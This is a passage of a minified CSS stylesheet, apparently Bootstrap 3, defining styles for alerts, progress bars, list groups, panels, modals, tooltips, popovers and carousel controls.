.close{position:relative;top:-2px;right:-21px;color:inherit}.alert-success{background-color:#dff0d8;border-color:#d6e9c6;color:#3c763d}.alert-success hr{border-top-color:#c9e2b3}.alert-success .alert-link{color:#2b542c}.alert-info{background-color:#d9edf7;border-color:#bce8f1;color:#31708f}.alert-info hr{border-top-color:#a6e1ec}.alert-info .alert-link{color:#245269}.alert-warning{background-color:#fcf8e3;border-color:#faebcc;color:#8a6d3b}.alert-warning hr{border-top-color:#f7e1b5}.alert-warning .alert-link{color:#66512c}.alert-danger{background-color:#f2dede;border-color:#ebccd1;color:#a94442}.alert-danger hr{border-top-color:#e4b9c0}.alert-danger .alert-link{color:#843534}@-webkit-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}.progress{overflow:hidden;height:20px;margin-bottom:20px;background-color:#f5f5f5;border-radius:4px;-webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,0.1);box-shadow:inset 0 1px 2px rgba(0,0,0,0.1)}.progress-bar{float:left;width:0%;height:100%;font-size:12px;line-height:20px;color:#fff;text-align:center;background-color:#337ab7;-webkit-box-shadow:inset 0 -1px 0 rgba(0,0,0,0.15);box-shadow:inset 0 -1px 0 rgba(0,0,0,0.15);-webkit-transition:width 0.6s ease;-o-transition:width 0.6s ease;transition:width 0.6s ease}.progress-striped .progress-bar,.progress-bar-striped{background-image:-webkit-linear-gradient(45deg, rgba(255,255,255,0.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,0.15) 50%, rgba(255,255,255,0.15) 75%, transparent 75%, transparent);background-image:-o-linear-gradient(45deg, rgba(255,255,255,0.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,0.15) 50%, rgba(255,255,255,0.15) 75%, transparent 75%, transparent);background-image:linear-gradient(45deg, rgba(255,255,255,0.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,0.15) 50%, rgba(255,255,255,0.15) 75%, transparent 75%, transparent);background-size:40px 40px}.progress.active .progress-bar,.progress-bar.active{-webkit-animation:progress-bar-stripes 2s linear infinite;-o-animation:progress-bar-stripes 2s linear infinite;animation:progress-bar-stripes 2s linear infinite}.progress-bar-success{background-color:#5cb85c}.progress-striped .progress-bar-success{background-image:-webkit-linear-gradient(45deg, rgba(255,255,255,0.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,0.15) 50%, rgba(255,255,255,0.15) 75%, transparent 75%, transparent);background-image:-o-linear-gradient(45deg, rgba(255,255,255,0.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,0.15) 50%, rgba(255,255,255,0.15) 75%, transparent 75%, transparent);background-image:linear-gradient(45deg, rgba(255,255,255,0.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,0.15) 50%, rgba(255,255,255,0.15) 75%, transparent 75%, transparent)}.progress-bar-info{background-color:#5bc0de}.progress-striped .progress-bar-info{background-image:-webkit-linear-gradient(45deg, rgba(255,255,255,0.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,0.15) 50%, rgba(255,255,255,0.15) 75%, transparent 75%, transparent);background-image:-o-linear-gradient(45deg, rgba(255,255,255,0.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,0.15) 50%, rgba(255,255,255,0.15) 75%, transparent 75%, transparent);background-image:linear-gradient(45deg, rgba(255,255,255,0.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,0.15) 50%, rgba(255,255,255,0.15) 75%, transparent 75%, transparent)}.progress-bar-warning{background-color:#f0ad4e}.progress-striped .progress-bar-warning{background-image:-webkit-linear-gradient(45deg, rgba(255,255,255,0.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,0.15) 50%, rgba(255,255,255,0.15) 75%, transparent 75%, transparent);background-image:-o-linear-gradient(45deg, rgba(255,255,255,0.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,0.15) 50%, rgba(255,255,255,0.15) 75%, transparent 75%, transparent);background-image:linear-gradient(45deg, rgba(255,255,255,0.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,0.15) 50%, rgba(255,255,255,0.15) 75%, transparent 75%, transparent)}.progress-bar-danger{background-color:#d9534f}.progress-striped .progress-bar-danger{background-image:-webkit-linear-gradient(45deg, rgba(255,255,255,0.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,0.15) 50%, rgba(255,255,255,0.15) 75%, transparent 75%, transparent);background-image:-o-linear-gradient(45deg, rgba(255,255,255,0.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,0.15) 50%, rgba(255,255,255,0.15) 75%, transparent 75%, transparent);background-image:linear-gradient(45deg, rgba(255,255,255,0.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,0.15) 50%, rgba(255,255,255,0.15) 75%, transparent 75%, transparent)}.media{margin-top:15px}.media:first-child{margin-top:0}.media,.media-body{zoom:1;overflow:hidden}.media-body{width:10000px}.media-object{display:block}.media-object.img-thumbnail{max-width:none}.media-right,.media>.pull-right{padding-left:10px}.media-left,.media>.pull-left{padding-right:10px}.media-left,.media-right,.media-body{display:table-cell;vertical-align:top}.media-middle{vertical-align:middle}.media-bottom{vertical-align:bottom}.media-heading{margin-top:0;margin-bottom:5px}.media-list{padding-left:0;list-style:none}.list-group{margin-bottom:20px;padding-left:0}.list-group-item{position:relative;display:block;padding:10px 15px;margin-bottom:-1px;background-color:#fff;border:1px solid #ddd}.list-group-item:first-child{border-top-right-radius:4px;border-top-left-radius:4px}.list-group-item:last-child{margin-bottom:0;border-bottom-right-radius:4px;border-bottom-left-radius:4px}a.list-group-item,button.list-group-item{color:#555}a.list-group-item .list-group-item-heading,button.list-group-item .list-group-item-heading{color:#333}a.list-group-item:hover,a.list-group-item:focus,button.list-group-item:hover,button.list-group-item:focus{text-decoration:none;color:#555;background-color:#f5f5f5}button.list-group-item{width:100%;text-align:left}.list-group-item.disabled,.list-group-item.disabled:hover,.list-group-item.disabled:focus{background-color:#eeeeee;color:#777777;cursor:not-allowed}.list-group-item.disabled .list-group-item-heading,.list-group-item.disabled:hover .list-group-item-heading,.list-group-item.disabled:focus .list-group-item-heading{color:inherit}.list-group-item.disabled .list-group-item-text,.list-group-item.disabled:hover .list-group-item-text,.list-group-item.disabled:focus .list-group-item-text{color:#777777}.list-group-item.active,.list-group-item.active:hover,.list-group-item.active:focus{z-index:2;color:#fff;background-color:#337ab7;border-color:#337ab7}.list-group-item.active .list-group-item-heading,.list-group-item.active .list-group-item-heading>small,.list-group-item.active .list-group-item-heading>.small,.list-group-item.active:hover .list-group-item-heading,.list-group-item.active:hover .list-group-item-heading>small,.list-group-item.active:hover .list-group-item-heading>.small,.list-group-item.active:focus .list-group-item-heading,.list-group-item.active:focus .list-group-item-heading>small,.list-group-item.active:focus .list-group-item-heading>.small{color:inherit}.list-group-item.active .list-group-item-text,.list-group-item.active:hover .list-group-item-text,.list-group-item.active:focus .list-group-item-text{color:#c7ddef}.list-group-item-success{color:#3c763d;background-color:#dff0d8}a.list-group-item-success,button.list-group-item-success{color:#3c763d}a.list-group-item-success .list-group-item-heading,button.list-group-item-success .list-group-item-heading{color:inherit}a.list-group-item-success:hover,a.list-group-item-success:focus,button.list-group-item-success:hover,button.list-group-item-success:focus{color:#3c763d;background-color:#d0e9c6}a.list-group-item-success.active,a.list-group-item-success.active:hover,a.list-group-item-success.active:focus,button.list-group-item-success.active,button.list-group-item-success.active:hover,button.list-group-item-success.active:focus{color:#fff;background-color:#3c763d;border-color:#3c763d}.list-group-item-info{color:#31708f;background-color:#d9edf7}a.list-group-item-info,button.list-group-item-info{color:#31708f}a.list-group-item-info .list-group-item-heading,button.list-group-item-info .list-group-item-heading{color:inherit}a.list-group-item-info:hover,a.list-group-item-info:focus,button.list-group-item-info:hover,button.list-group-item-info:focus{color:#31708f;background-color:#c4e3f3}a.list-group-item-info.active,a.list-group-item-info.active:hover,a.list-group-item-info.active:focus,button.list-group-item-info.active,button.list-group-item-info.active:hover,button.list-group-item-info.active:focus{color:#fff;background-color:#31708f;border-color:#31708f}.list-group-item-warning{color:#8a6d3b;background-color:#fcf8e3}a.list-group-item-warning,button.list-group-item-warning{color:#8a6d3b}a.list-group-item-warning .list-group-item-heading,button.list-group-item-warning .list-group-item-heading{color:inherit}a.list-group-item-warning:hover,a.list-group-item-warning:focus,button.list-group-item-warning:hover,button.list-group-item-warning:focus{color:#8a6d3b;background-color:#faf2cc}a.list-group-item-warning.active,a.list-group-item-warning.active:hover,a.list-group-item-warning.active:focus,button.list-group-item-warning.active,button.list-group-item-warning.active:hover,button.list-group-item-warning.active:focus{color:#fff;background-color:#8a6d3b;border-color:#8a6d3b}.list-group-item-danger{color:#a94442;background-color:#f2dede}a.list-group-item-danger,button.list-group-item-danger{color:#a94442}a.list-group-item-danger .list-group-item-heading,button.list-group-item-danger .list-group-item-heading{color:inherit}a.list-group-item-danger:hover,a.list-group-item-danger:focus,button.list-group-item-danger:hover,button.list-group-item-danger:focus{color:#a94442;background-color:#ebcccc}a.list-group-item-danger.active,a.list-group-item-danger.active:hover,a.list-group-item-danger.active:focus,button.list-group-item-danger.active,button.list-group-item-danger.active:hover,button.list-group-item-danger.active:focus{color:#fff;background-color:#a94442;border-color:#a94442}.list-group-item-heading{margin-top:0;margin-bottom:5px}.list-group-item-text{margin-bottom:0;line-height:1.3}.panel{margin-bottom:20px;background-color:#fff;border:1px solid transparent;border-radius:4px;-webkit-box-shadow:0 1px 1px rgba(0,0,0,0.05);box-shadow:0 1px 1px rgba(0,0,0,0.05)}.panel-body{padding:15px}.panel-body:before,.panel-body:after{content:" ";display:table}.panel-body:after{clear:both}.panel-heading{padding:10px 15px;border-bottom:1px solid transparent;border-top-right-radius:3px;border-top-left-radius:3px}.panel-heading>.dropdown .dropdown-toggle{color:inherit}.panel-title{margin-top:0;margin-bottom:0;font-size:16px;color:inherit}.panel-title>a,.panel-title>small,.panel-title>.small,.panel-title>small>a,.panel-title>.small>a{color:inherit}.panel-footer{padding:10px 15px;background-color:#f5f5f5;border-top:1px solid #ddd;border-bottom-right-radius:3px;border-bottom-left-radius:3px}.panel>.list-group,.panel>.panel-collapse>.list-group{margin-bottom:0}.panel>.list-group .list-group-item,.panel>.panel-collapse>.list-group .list-group-item{border-width:1px 0;border-radius:0}.panel>.list-group:first-child .list-group-item:first-child,.panel>.panel-collapse>.list-group:first-child .list-group-item:first-child{border-top:0;border-top-right-radius:3px;border-top-left-radius:3px}.panel>.list-group:last-child .list-group-item:last-child,.panel>.panel-collapse>.list-group:last-child .list-group-item:last-child{border-bottom:0;border-bottom-right-radius:3px;border-bottom-left-radius:3px}.panel>.panel-heading+.panel-collapse>.list-group .list-group-item:first-child{border-top-right-radius:0;border-top-left-radius:0}.panel-heading+.list-group .list-group-item:first-child{border-top-width:0}.list-group+.panel-footer{border-top-width:0}.panel>.table,.panel>.table-responsive>.table,.panel>.panel-collapse>.table{margin-bottom:0}.panel>.table caption,.panel>.table-responsive>.table caption,.panel>.panel-collapse>.table caption{padding-left:15px;padding-right:15px}.panel>.table:first-child,.panel>.table-responsive:first-child>.table:first-child{border-top-right-radius:3px;border-top-left-radius:3px}.panel>.table:first-child>thead:first-child>tr:first-child,.panel>.table:first-child>tbody:first-child>tr:first-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child,.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child{border-top-left-radius:3px;border-top-right-radius:3px}.panel>.table:first-child>thead:first-child>tr:first-child td:first-child,.panel>.table:first-child>thead:first-child>tr:first-child th:first-child,.panel>.table:first-child>tbody:first-child>tr:first-child td:first-child,.panel>.table:first-child>tbody:first-child>tr:first-child th:first-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child td:first-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child th:first-child,.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child td:first-child,.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child th:first-child{border-top-left-radius:3px}.panel>.table:first-child>thead:first-child>tr:first-child td:last-child,.panel>.table:first-child>thead:first-child>tr:first-child th:last-child,.panel>.table:first-child>tbody:first-child>tr:first-child td:last-child,.panel>.table:first-child>tbody:first-child>tr:first-child th:last-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child td:last-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child th:last-child,.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child td:last-child,.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child th:last-child{border-top-right-radius:3px}.panel>.table:last-child,.panel>.table-responsive:last-child>.table:last-child{border-bottom-right-radius:3px;border-bottom-left-radius:3px}.panel>.table:last-child>tbody:last-child>tr:last-child,.panel>.table:last-child>tfoot:last-child>tr:last-child,.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child{border-bottom-left-radius:3px;border-bottom-right-radius:3px}.panel>.table:last-child>tbody:last-child>tr:last-child td:first-child,.panel>.table:last-child>tbody:last-child>tr:last-child th:first-child,.panel>.table:last-child>tfoot:last-child>tr:last-child td:first-child,.panel>.table:last-child>tfoot:last-child>tr:last-child th:first-child,.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child td:first-child,.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child th:first-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child td:first-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child th:first-child{border-bottom-left-radius:3px}.panel>.table:last-child>tbody:last-child>tr:last-child td:last-child,.panel>.table:last-child>tbody:last-child>tr:last-child th:last-child,.panel>.table:last-child>tfoot:last-child>tr:last-child td:last-child,.panel>.table:last-child>tfoot:last-child>tr:last-child th:last-child,.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child td:last-child,.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child th:last-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child td:last-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child th:last-child{border-bottom-right-radius:3px}.panel>.panel-body+.table,.panel>.panel-body+.table-responsive,.panel>.table+.panel-body,.panel>.table-responsive+.panel-body{border-top:1px solid #ddd}.panel>.table>tbody:first-child>tr:first-child th,.panel>.table>tbody:first-child>tr:first-child td{border-top:0}.panel>.table-bordered,.panel>.table-responsive>.table-bordered{border:0}.panel>.table-bordered>thead>tr>th:first-child,.panel>.table-bordered>thead>tr>td:first-child,.panel>.table-bordered>tbody>tr>th:first-child,.panel>.table-bordered>tbody>tr>td:first-child,.panel>.table-bordered>tfoot>tr>th:first-child,.panel>.table-bordered>tfoot>tr>td:first-child,.panel>.table-responsive>.table-bordered>thead>tr>th:first-child,.panel>.table-responsive>.table-bordered>thead>tr>td:first-child,.panel>.table-responsive>.table-bordered>tbody>tr>th:first-child,.panel>.table-responsive>.table-bordered>tbody>tr>td:first-child,.panel>.table-responsive>.table-bordered>tfoot>tr>th:first-child,.panel>.table-responsive>.table-bordered>tfoot>tr>td:first-child{border-left:0}.panel>.table-bordered>thead>tr>th:last-child,.panel>.table-bordered>thead>tr>td:last-child,.panel>.table-bordered>tbody>tr>th:last-child,.panel>.table-bordered>tbody>tr>td:last-child,.panel>.table-bordered>tfoot>tr>th:last-child,.panel>.table-bordered>tfoot>tr>td:last-child,.panel>.table-responsive>.table-bordered>thead>tr>th:last-child,.panel>.table-responsive>.table-bordered>thead>tr>td:last-child,.panel>.table-responsive>.table-bordered>tbody>tr>th:last-child,.panel>.table-responsive>.table-bordered>tbody>tr>td:last-child,.panel>.table-responsive>.table-bordered>tfoot>tr>th:last-child,.panel>.table-responsive>.table-bordered>tfoot>tr>td:last-child{border-right:0}.panel>.table-bordered>thead>tr:first-child>td,.panel>.table-bordered>thead>tr:first-child>th,.panel>.table-bordered>tbody>tr:first-child>td,.panel>.table-bordered>tbody>tr:first-child>th,.panel>.table-responsive>.table-bordered>thead>tr:first-child>td,.panel>.table-responsive>.table-bordered>thead>tr:first-child>th,.panel>.table-responsive>.table-bordered>tbody>tr:first-child>td,.panel>.table-responsive>.table-bordered>tbody>tr:first-child>th{border-bottom:0}.panel>.table-bordered>tbody>tr:last-child>td,.panel>.table-bordered>tbody>tr:last-child>th,.panel>.table-bordered>tfoot>tr:last-child>td,.panel>.table-bordered>tfoot>tr:last-child>th,.panel>.table-responsive>.table-bordered>tbody>tr:last-child>td,.panel>.table-responsive>.table-bordered>tbody>tr:last-child>th,.panel>.table-responsive>.table-bordered>tfoot>tr:last-child>td,.panel>.table-responsive>.table-bordered>tfoot>tr:last-child>th{border-bottom:0}.panel>.table-responsive{border:0;margin-bottom:0}.panel-group{margin-bottom:20px}.panel-group .panel{margin-bottom:0;border-radius:4px}.panel-group .panel+.panel{margin-top:5px}.panel-group .panel-heading{border-bottom:0}.panel-group .panel-heading+.panel-collapse>.panel-body,.panel-group .panel-heading+.panel-collapse>.list-group{border-top:1px solid #ddd}.panel-group .panel-footer{border-top:0}.panel-group .panel-footer+.panel-collapse .panel-body{border-bottom:1px solid #ddd}.panel-default{border-color:#ddd}.panel-default>.panel-heading{color:#333333;background-color:#f5f5f5;border-color:#ddd}.panel-default>.panel-heading+.panel-collapse>.panel-body{border-top-color:#ddd}.panel-default>.panel-heading .badge{color:#f5f5f5;background-color:#333333}.panel-default>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#ddd}.panel-primary{border-color:#337ab7}.panel-primary>.panel-heading{color:#fff;background-color:#337ab7;border-color:#337ab7}.panel-primary>.panel-heading+.panel-collapse>.panel-body{border-top-color:#337ab7}.panel-primary>.panel-heading .badge{color:#337ab7;background-color:#fff}.panel-primary>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#337ab7}.panel-success{border-color:#d6e9c6}.panel-success>.panel-heading{color:#3c763d;background-color:#dff0d8;border-color:#d6e9c6}.panel-success>.panel-heading+.panel-collapse>.panel-body{border-top-color:#d6e9c6}.panel-success>.panel-heading .badge{color:#dff0d8;background-color:#3c763d}.panel-success>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#d6e9c6}.panel-info{border-color:#bce8f1}.panel-info>.panel-heading{color:#31708f;background-color:#d9edf7;border-color:#bce8f1}.panel-info>.panel-heading+.panel-collapse>.panel-body{border-top-color:#bce8f1}.panel-info>.panel-heading .badge{color:#d9edf7;background-color:#31708f}.panel-info>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#bce8f1}.panel-warning{border-color:#faebcc}.panel-warning>.panel-heading{color:#8a6d3b;background-color:#fcf8e3;border-color:#faebcc}.panel-warning>.panel-heading+.panel-collapse>.panel-body{border-top-color:#faebcc}.panel-warning>.panel-heading .badge{color:#fcf8e3;background-color:#8a6d3b}.panel-warning>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#faebcc}.panel-danger{border-color:#ebccd1}.panel-danger>.panel-heading{color:#a94442;background-color:#f2dede;border-color:#ebccd1}.panel-danger>.panel-heading+.panel-collapse>.panel-body{border-top-color:#ebccd1}.panel-danger>.panel-heading .badge{color:#f2dede;background-color:#a94442}.panel-danger>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#ebccd1}.embed-responsive{position:relative;display:block;height:0;padding:0;overflow:hidden}.embed-responsive .embed-responsive-item,.embed-responsive iframe,.embed-responsive embed,.embed-responsive object,.embed-responsive video{position:absolute;top:0;left:0;bottom:0;height:100%;width:100%;border:0}.embed-responsive-16by9{padding-bottom:56.25%}.embed-responsive-4by3{padding-bottom:75%}.well{min-height:20px;padding:19px;margin-bottom:20px;background-color:#f5f5f5;border:1px solid #e3e3e3;border-radius:4px;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.05);box-shadow:inset 0 1px 1px rgba(0,0,0,0.05)}.well blockquote{border-color:#ddd;border-color:rgba(0,0,0,0.15)}.well-lg{padding:24px;border-radius:6px}.well-sm{padding:9px;border-radius:3px}.close{float:right;font-size:21px;font-weight:bold;line-height:1;color:#000;text-shadow:0 1px 0 #fff;opacity:0.2;filter:alpha(opacity=20)}.close:hover,.close:focus{color:#000;text-decoration:none;cursor:pointer;opacity:0.5;filter:alpha(opacity=50)}button.close{padding:0;cursor:pointer;background:transparent;border:0;-webkit-appearance:none}.modal-open{overflow:hidden}.modal{display:none;overflow:hidden;position:fixed;top:0;right:0;bottom:0;left:0;z-index:1050;-webkit-overflow-scrolling:touch;outline:0}.modal.fade .modal-dialog{-webkit-transform:translate(0, -25%);-ms-transform:translate(0, -25%);-o-transform:translate(0, -25%);transform:translate(0, -25%);-webkit-transition:-webkit-transform 0.3s ease-out;-moz-transition:-moz-transform 0.3s ease-out;-o-transition:-o-transform 0.3s ease-out;transition:transform 0.3s ease-out}.modal.in .modal-dialog{-webkit-transform:translate(0, 0);-ms-transform:translate(0, 0);-o-transform:translate(0, 0);transform:translate(0, 0)}.modal-open .modal{overflow-x:hidden;overflow-y:auto}.modal-dialog{position:relative;width:auto;margin:10px}.modal-content{position:relative;background-color:#fff;border:1px solid #999;border:1px solid rgba(0,0,0,0.2);border-radius:6px;-webkit-box-shadow:0 3px 9px rgba(0,0,0,0.5);box-shadow:0 3px 9px rgba(0,0,0,0.5);background-clip:padding-box;outline:0}.modal-backdrop{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1040;background-color:#000}.modal-backdrop.fade{opacity:0;filter:alpha(opacity=0)}.modal-backdrop.in{opacity:0.5;filter:alpha(opacity=50)}.modal-header{padding:15px;border-bottom:1px solid #e5e5e5}.modal-header:before,.modal-header:after{content:" ";display:table}.modal-header:after{clear:both}.modal-header .close{margin-top:-2px}.modal-title{margin:0;line-height:1.42857143}.modal-body{position:relative;padding:15px}.modal-footer{padding:15px;text-align:right;border-top:1px solid #e5e5e5}.modal-footer:before,.modal-footer:after{content:" ";display:table}.modal-footer:after{clear:both}.modal-footer .btn+.btn{margin-left:5px;margin-bottom:0}.modal-footer .btn-group .btn+.btn{margin-left:-1px}.modal-footer .btn-block+.btn-block{margin-left:0}.modal-scrollbar-measure{position:absolute;top:-9999px;width:50px;height:50px;overflow:scroll}@media (min-width: 768px){.modal-dialog{width:600px;margin:30px auto}.modal-content{-webkit-box-shadow:0 5px 15px rgba(0,0,0,0.5);box-shadow:0 5px 15px rgba(0,0,0,0.5)}.modal-sm{width:300px}}@media (min-width: 992px){.modal-lg{width:900px}}.tooltip{position:absolute;z-index:1070;display:block;font-family:"Helvetica Neue", Helvetica, Arial, sans-serif;font-style:normal;font-weight:normal;letter-spacing:normal;line-break:auto;line-height:1.42857143;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;white-space:normal;word-break:normal;word-spacing:normal;word-wrap:normal;font-size:12px;opacity:0;filter:alpha(opacity=0)}.tooltip.in{opacity:0.9;filter:alpha(opacity=90)}.tooltip.top{margin-top:-3px;padding:5px 0}.tooltip.right{margin-left:3px;padding:0 5px}.tooltip.bottom{margin-top:3px;padding:5px 0}.tooltip.left{margin-left:-3px;padding:0 5px}.tooltip-inner{max-width:200px;padding:3px 8px;color:#fff;text-align:center;background-color:#000;border-radius:4px}.tooltip-arrow{position:absolute;width:0;height:0;border-color:transparent;border-style:solid}.tooltip.top .tooltip-arrow{bottom:0;left:50%;margin-left:-5px;border-width:5px 5px 0;border-top-color:#000}.tooltip.top-left .tooltip-arrow{bottom:0;right:5px;margin-bottom:-5px;border-width:5px 5px 0;border-top-color:#000}.tooltip.top-right .tooltip-arrow{bottom:0;left:5px;margin-bottom:-5px;border-width:5px 5px 0;border-top-color:#000}.tooltip.right .tooltip-arrow{top:50%;left:0;margin-top:-5px;border-width:5px 5px 5px 0;border-right-color:#000}.tooltip.left .tooltip-arrow{top:50%;right:0;margin-top:-5px;border-width:5px 0 5px 5px;border-left-color:#000}.tooltip.bottom .tooltip-arrow{top:0;left:50%;margin-left:-5px;border-width:0 5px 5px;border-bottom-color:#000}.tooltip.bottom-left .tooltip-arrow{top:0;right:5px;margin-top:-5px;border-width:0 5px 5px;border-bottom-color:#000}.tooltip.bottom-right .tooltip-arrow{top:0;left:5px;margin-top:-5px;border-width:0 5px 5px;border-bottom-color:#000}.popover{position:absolute;top:0;left:0;z-index:1060;display:none;max-width:276px;padding:1px;font-family:"Helvetica Neue", Helvetica, Arial, sans-serif;font-style:normal;font-weight:normal;letter-spacing:normal;line-break:auto;line-height:1.42857143;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;white-space:normal;word-break:normal;word-spacing:normal;word-wrap:normal;font-size:14px;background-color:#fff;background-clip:padding-box;border:1px solid #ccc;border:1px solid rgba(0,0,0,0.2);border-radius:6px;-webkit-box-shadow:0 5px 10px rgba(0,0,0,0.2);box-shadow:0 5px 10px rgba(0,0,0,0.2)}.popover.top{margin-top:-10px}.popover.right{margin-left:10px}.popover.bottom{margin-top:10px}.popover.left{margin-left:-10px}.popover-title{margin:0;padding:8px 14px;font-size:14px;background-color:#f7f7f7;border-bottom:1px solid #ebebeb;border-radius:5px 5px 0 0}.popover-content{padding:9px 14px}.popover>.arrow,.popover>.arrow:after{position:absolute;display:block;width:0;height:0;border-color:transparent;border-style:solid}.popover>.arrow{border-width:11px}.popover>.arrow:after{border-width:10px;content:""}.popover.top>.arrow{left:50%;margin-left:-11px;border-bottom-width:0;border-top-color:#999999;border-top-color:rgba(0,0,0,0.25);bottom:-11px}.popover.top>.arrow:after{content:" ";bottom:1px;margin-left:-10px;border-bottom-width:0;border-top-color:#fff}.popover.right>.arrow{top:50%;left:-11px;margin-top:-11px;border-left-width:0;border-right-color:#999999;border-right-color:rgba(0,0,0,0.25)}.popover.right>.arrow:after{content:" ";left:1px;bottom:-10px;border-left-width:0;border-right-color:#fff}.popover.bottom>.arrow{left:50%;margin-left:-11px;border-top-width:0;border-bottom-color:#999999;border-bottom-color:rgba(0,0,0,0.25);top:-11px}.popover.bottom>.arrow:after{content:" ";top:1px;margin-left:-10px;border-top-width:0;border-bottom-color:#fff}.popover.left>.arrow{top:50%;right:-11px;margin-top:-11px;border-right-width:0;border-left-color:#999999;border-left-color:rgba(0,0,0,0.25)}.popover.left>.arrow:after{content:" ";right:1px;border-right-width:0;border-left-color:#fff;bottom:-10px}.carousel{position:relative}.carousel-inner{position:relative;overflow:hidden;width:100%}.carousel-inner>.item{display:none;position:relative;-webkit-transition:0.6s ease-in-out left;-o-transition:0.6s ease-in-out left;transition:0.6s ease-in-out left}.carousel-inner>.item>img,.carousel-inner>.item>a>img{display:block;max-width:100%;height:auto;line-height:1}@media all and (transform-3d), (-webkit-transform-3d){.carousel-inner>.item{-webkit-transition:-webkit-transform 0.6s ease-in-out;-moz-transition:-moz-transform 0.6s ease-in-out;-o-transition:-o-transform 0.6s ease-in-out;transition:transform 0.6s ease-in-out;-webkit-backface-visibility:hidden;-moz-backface-visibility:hidden;backface-visibility:hidden;-webkit-perspective:1000px;-moz-perspective:1000px;perspective:1000px}.carousel-inner>.item.next,.carousel-inner>.item.active.right{-webkit-transform:translate3d(100%, 0, 0);transform:translate3d(100%, 0, 0);left:0}.carousel-inner>.item.prev,.carousel-inner>.item.active.left{-webkit-transform:translate3d(-100%, 0, 0);transform:translate3d(-100%, 0, 0);left:0}.carousel-inner>.item.next.left,.carousel-inner>.item.prev.right,.carousel-inner>.item.active{-webkit-transform:translate3d(0, 0, 0);transform:translate3d(0, 0, 0);left:0}}.carousel-inner>.active,.carousel-inner>.next,.carousel-inner>.prev{display:block}.carousel-inner>.active{left:0}.carousel-inner>.next,.carousel-inner>.prev{position:absolute;top:0;width:100%}.carousel-inner>.next{left:100%}.carousel-inner>.prev{left:-100%}.carousel-inner>.next.left,.carousel-inner>.prev.right{left:0}.carousel-inner>.active.left{left:-100%}.carousel-inner>.active.right{left:100%}.carousel-control{position:absolute;top:0;left:0;bottom:0;width:15%;opacity:0.5;filter:alpha(opacity=50);font-size:20px;color:#fff;text-align:center;text-shadow:0 1px 2px rgba(0,0,0,0.6);background-color:transparent}.carousel-control.left{background-image:-webkit-linear-gradient(left, rgba(0,0,0,0.5) 0%, rgba(0,0,0,0.0001) 100%);background-image:-o-linear-gradient(left, rgba(0,0,0,0.5) 0%, rgba(0,0,0,0.0001) 100%);background-image:linear-gradient(to right, rgba(0,0,0,0.5) 0%, rgba(0,0,0,0.0001) 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#80000000', endColorstr='#00000000', GradientType=1)}.carousel-control.right{left:auto;right:0;background-image:-webkit-linear-gradient(left, rgba(0,0,0,0.0001) 0%, rgba(0,0,0,0.5) 100%);background-image:-o-linear-gradient(left, rgba(0,0,0,0.0001) 0%, rgba(0,0,0,0.5) 100%);background-image:linear-gradient(to right, rgba(0,0,0,0.0001) 0%, rgba(0,0,0,0.5) 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#00000000', endColorstr='#80000000', GradientType=1)}.carousel-control:hover,.carousel-control:focus{outline:0;color:#fff;text-decoration:none;opacity:0.9;filter:alpha(opacity=90)}.carousel-control .icon-prev,.carousel-control .icon-next,.carousel-control .glyphicon-chevron-left,.carousel-control .glyphicon-chevron-right{position:absolute;top:50%;margin-top:-10px;z-index:5;display:inline-block}.carousel-control .icon-prev,.carousel-control .glyphicon-chevron-left{left:50%;margin-left:-10px}.carousel-control .icon-next,.carousel-control .glyphicon-chevron-right{right:50%;margin-right:-10px}.carousel-control .icon-prev,.carousel-control .icon-next{width:20px;height:20px;line-height:1;font-family:serif}.carousel-control 